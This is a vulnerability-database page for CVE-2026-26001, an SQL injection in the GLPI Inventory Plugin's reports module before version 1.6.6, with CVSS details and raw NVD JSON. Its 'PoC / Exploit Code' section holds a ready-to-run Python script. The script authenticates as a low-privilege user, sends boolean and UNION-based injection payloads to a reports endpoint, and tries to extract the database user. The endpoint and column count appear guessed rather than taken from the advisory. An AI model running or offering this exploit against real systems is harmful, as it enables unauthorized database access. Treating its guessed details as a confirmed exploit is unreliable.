Security Vulnerability Report
中文
CVE-2026-26001 CVSS 7.1 HIGH

CVE-2026-26001

Published: 2026-03-18 00:16:19
Last Modified: 2026-03-23 18:14:43

Description

The GLPI Inventory Plugin handles network discovery, inventory, software deployment, and data collection for GLPI agents. Prior to 1.6.6, non sanitized user input can lend to an SQL injection from reports, with adequate rights. This vulnerability is fixed in 1.6.6.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:glpi-project:glpi_inventory:*:*:*:*:*:*:*:* - VULNERABLE
GLPI Inventory Plugin < 1.6.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-26001 SQL Injection PoC # Target: GLPI Inventory Plugin < 1.6.6 # Type: SQL Injection in reports module import requests import sys target_url = input("Enter target URL: ") session = requests.Session() # Step 1: Authenticate with low privilege account login_url = f"{target_url}/front/login.php" login_data = { "user_name": "low_priv_user", "password": "password123" } response = session.post(login_url, data=login_data) if "login_error" in response.text: print("[-] Authentication failed") sys.exit(1) print("[+] Authentication successful") # Step 2: SQL Injection payload in reports parameter # Blind boolean-based SQL injection injection_payloads = [ "1' AND 1=1 -- ", "1' AND 1=2 -- ", "1' UNION SELECT NULL,NULL,version() -- " ] reports_url = f"{target_url}/plugins/glpiinventory/front/reports.php" for payload in injection_payloads: params = { "id": payload, "itemtype": "Computer" } response = session.get(reports_url, params=params) if "error" not in response.text.lower() and response.status_code == 200: print(f"[+] Payload {payload} executed successfully") print(f"[+] Response length: {len(response.text)}") else: print(f"[-] Payload {payload} failed") # Step 3: Extract database information data_extraction_payload = "1' UNION SELECT 1,2,user(),4,5,6,7,8,9,10 -- " params = { "id": data_extraction_payload, "itemtype": "Computer" } response = session.get(reports_url, params=params) print("\n[+] Database user extraction attempt completed") print(f"[*] Check response for injected data: {len(response.text)} bytes")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-26001", "sourceIdentifier": "[email protected]", "published": "2026-03-18T00:16:18.770", "lastModified": "2026-03-23T18:14:43.043", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The GLPI Inventory Plugin handles network discovery, inventory, software deployment, and data collection for GLPI agents. Prior to 1.6.6, non sanitized user input can lend to an SQL injection from reports, with adequate rights. This vulnerability is fixed in 1.6.6."}, {"lang": "es", "value": "El plugin de inventario de GLPI gestiona el descubrimiento de red, el inventario, el despliegue de software y la recopilación de datos para los agentes de GLPI. Antes de la versión 1.6.6, la entrada de usuario sin sanear podía dar lugar a una inyección SQL desde informes, con permisos adecuados. Esta vulnerabilidad está corregida en la versión 1.6.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:glpi-project:glpi_inventory:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.6.6", "matchCriteriaId": "98C6C195-DCBB-4921-BDFF-CAD1971700EA"}]}]}], "references": [{"url": "https://github.com/glpi-project/glpi-inventory-plugin/security/advisories/GHSA-gp4r-m42c-wvgx", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}